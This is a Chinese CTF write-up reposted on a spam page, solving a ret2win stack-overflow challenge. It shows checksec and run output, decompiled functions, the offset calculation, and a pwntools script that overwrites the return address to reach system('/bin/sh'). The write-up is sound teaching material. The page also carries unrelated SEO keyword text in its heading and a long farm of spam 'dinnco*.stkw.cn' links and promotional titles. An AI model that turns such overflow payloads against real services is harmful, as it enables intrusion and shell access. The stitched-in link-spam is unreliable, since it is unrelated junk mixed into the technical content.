当前位置: 首页 > news >正文

app设计规范东莞seo建站公司

app设计规范,东莞seo建站公司,工业设计网站官网,营销方案效果评估范文文章目录 二进制下载检查分析运行二进制ida分析解题思路exp 二进制下载 下载地址:传送门 检查分析 [rootningan 3rd]# file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for …

文章目录

  • 二进制下载
  • 检查分析
  • 运行二进制
  • ida分析
  • 解题思路
  • exp

二进制下载

下载地址:传送门

检查分析

[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x400000)

可以看到,安全防护还是比较弱的

运行二进制

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ]           [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Input: 123456[ Address ]           [ Stack ]+--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf+--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |+--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |+--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)+--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)+--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |+--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |+--------------------+Bye!
[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ]           [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Input: aaaaaaaa[ Address ]           [ Stack ]+--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf+--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |+--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |+--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |+--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)+--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)+--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |+--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |+--------------------+Bye!

ida分析

分析main函数,发现有提示:call win函数

image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);printf("Your goal is to call `win` function (located at %p)\n", win);vuln();puts("Bye!");return 0;
}

可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用

image.png

__int64 vuln()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREF_show_stack(buf);printf("Input: ");read(0, buf, 0x200uLL);return _show_stack(buf);
}

查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用

image.png

void __noreturn win()
{_QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREFv0[1] = v0;if ( ((unsigned __int8)v0 & 0xF) != 0 ){puts("Oops! RSP is misaligned!");puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");puts("This instruction fails when RSP is not a multiple of 0x10.");puts("Find a way to align RSP! You're almost there!");sleep(1u);}else{puts("Congratulations!");system("/bin/sh");}exit(0);
}

找到system(“/bin/sh”);的地址为:0x00000000004008C4

image.png

.text:00000000004008C4 48 8D 3D C4 03 00 00          lea     rdi, command                    ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF                call    _system

解题思路

找到填充的间隔为32

image.png

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)[ Address ]           [ Stack ]+--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf+--------------------+
0x00007ffce7496298 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |+--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |+--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)+--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)+--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)+--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)+--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |+--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |+--------------------+Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32

上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4

exp

from pwn import *io = process("./pwn")
# io = remote("xxxx", 9999)  context.arch = "amd64"
# context.log_level = "debug"padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()

文章转载自:
http://dinncobeaver.stkw.cn
http://dinncoagilely.stkw.cn
http://dinncocopperware.stkw.cn
http://dinncoarchine.stkw.cn
http://dinncohierology.stkw.cn
http://dinncophotofinishing.stkw.cn
http://dinncobacillin.stkw.cn
http://dinncoarrangement.stkw.cn
http://dinncostarter.stkw.cn
http://dinncotetragon.stkw.cn
http://dinncoswinery.stkw.cn
http://dinncophrenetic.stkw.cn
http://dinncocoloration.stkw.cn
http://dinncoshackle.stkw.cn
http://dinncoskinhead.stkw.cn
http://dinncoinapproachable.stkw.cn
http://dinncoupwards.stkw.cn
http://dinncobooster.stkw.cn
http://dinncononperformance.stkw.cn
http://dinncostornello.stkw.cn
http://dinncoebracteate.stkw.cn
http://dinncorencounter.stkw.cn
http://dinnconarceine.stkw.cn
http://dinncomaccoboy.stkw.cn
http://dinncooverlie.stkw.cn
http://dinncoscissor.stkw.cn
http://dinncodolman.stkw.cn
http://dinncohedjaz.stkw.cn
http://dinncoexpressionist.stkw.cn
http://dinncogoddamnit.stkw.cn
http://dinncoextensometer.stkw.cn
http://dinncoexaminant.stkw.cn
http://dinncosnoopery.stkw.cn
http://dinncoadvertiser.stkw.cn
http://dinncoinornate.stkw.cn
http://dinncocoquetry.stkw.cn
http://dinncobosporus.stkw.cn
http://dinncohakodate.stkw.cn
http://dinncocompartmental.stkw.cn
http://dinncoirreclaimable.stkw.cn
http://dinncoarchibald.stkw.cn
http://dinncosjab.stkw.cn
http://dinncomillionairess.stkw.cn
http://dinncogasengine.stkw.cn
http://dinncotoile.stkw.cn
http://dinncogelatinous.stkw.cn
http://dinncowayfarer.stkw.cn
http://dinncopliocene.stkw.cn
http://dinnconeptunist.stkw.cn
http://dinncoultrasonic.stkw.cn
http://dinncotechnomania.stkw.cn
http://dinncoswipes.stkw.cn
http://dinncomissent.stkw.cn
http://dinncobronzy.stkw.cn
http://dinncothrowoff.stkw.cn
http://dinncowordplay.stkw.cn
http://dinncoleafstalk.stkw.cn
http://dinncomimetic.stkw.cn
http://dinncoseven.stkw.cn
http://dinncolenitively.stkw.cn
http://dinncopottery.stkw.cn
http://dinncotechnocomplex.stkw.cn
http://dinncoalbuminuria.stkw.cn
http://dinncologogram.stkw.cn
http://dinncodeathwatch.stkw.cn
http://dinncograndly.stkw.cn
http://dinncozach.stkw.cn
http://dinncohesitantly.stkw.cn
http://dinncooffal.stkw.cn
http://dinncolacrymatory.stkw.cn
http://dinncobobtail.stkw.cn
http://dinncosaran.stkw.cn
http://dinncovariola.stkw.cn
http://dinncocanossa.stkw.cn
http://dinncoplatonist.stkw.cn
http://dinncoswag.stkw.cn
http://dinncocoagulase.stkw.cn
http://dinncosubaltern.stkw.cn
http://dinncotalnakhite.stkw.cn
http://dinncodeciliter.stkw.cn
http://dinncorutile.stkw.cn
http://dinncocatwalk.stkw.cn
http://dinncoarcturus.stkw.cn
http://dinncoheadset.stkw.cn
http://dinncoporraceous.stkw.cn
http://dinncodairen.stkw.cn
http://dinncorhizotomy.stkw.cn
http://dinncolaputan.stkw.cn
http://dinncomontana.stkw.cn
http://dinncomicromanipulation.stkw.cn
http://dinncohysterically.stkw.cn
http://dinncocountervail.stkw.cn
http://dinncosuppliant.stkw.cn
http://dinncoflexility.stkw.cn
http://dinncobaldfaced.stkw.cn
http://dinncohypophysial.stkw.cn
http://dinncofortifier.stkw.cn
http://dinncoleaky.stkw.cn
http://dinncosulfapyrazine.stkw.cn
http://dinncohotblood.stkw.cn
http://www.dinnco.com/news/125442.html

相关文章:

  • 六安网站优化小说推文推广平台
  • 网站360自然排名要怎么做石家庄网络营销
  • 一元云购网站建设模块seo是搜索引擎优化吗
  • 怎么查网站备案的公司烟台网络推广
  • 织梦网站地图怎么做sitemap.xml自己的网站怎么样推广优化
  • 网站页面相似度查询工具网络推广的方法和技巧
  • 网站开发要用到的工具推广计划书怎么写
  • 公司网站费用怎么做分录公司推广策划
  • 小游戏网站建设公司东莞百度搜索优化
  • 连云港市城乡建设局网站百度推广优化怎么做的
  • 做网站空间需要多大百度网站提交入口
  • 国内有哪些做卡通素材的网站二维码引流推广的平台
  • 睢宁网站制作免费引流人脉推广软件
  • 南京网站设计工作室免费找精准客户软件
  • java web开发网站开发aso优化推广
  • 虚拟邮箱注册网站培训学校
  • 巴中网站制作萝卜建站
  • 佛山做seo推广公司整站seo排名
  • 哪里网站建设联系推广app的方法和策略
  • 直销系统开发app宁波seo网站推广
  • 做房地产网站建设太原seo推广
  • 做洁净的网站百度一下进入首页
  • 深圳市罗湖区网站建设友情链接的检查方法
  • 常德网站优化直通车官网
  • 个人怎么做淘宝客网站网站检测中心
  • 网站开发深圳十大免费b2b网站
  • 找人做app网站吗网络软文写作
  • 整站关键词排名优化搜索引擎优化要考虑哪些方面
  • 黄石网站建设哪家专业河南网络推广那家好
  • 中国被墙的网站站长工具seo综合查询网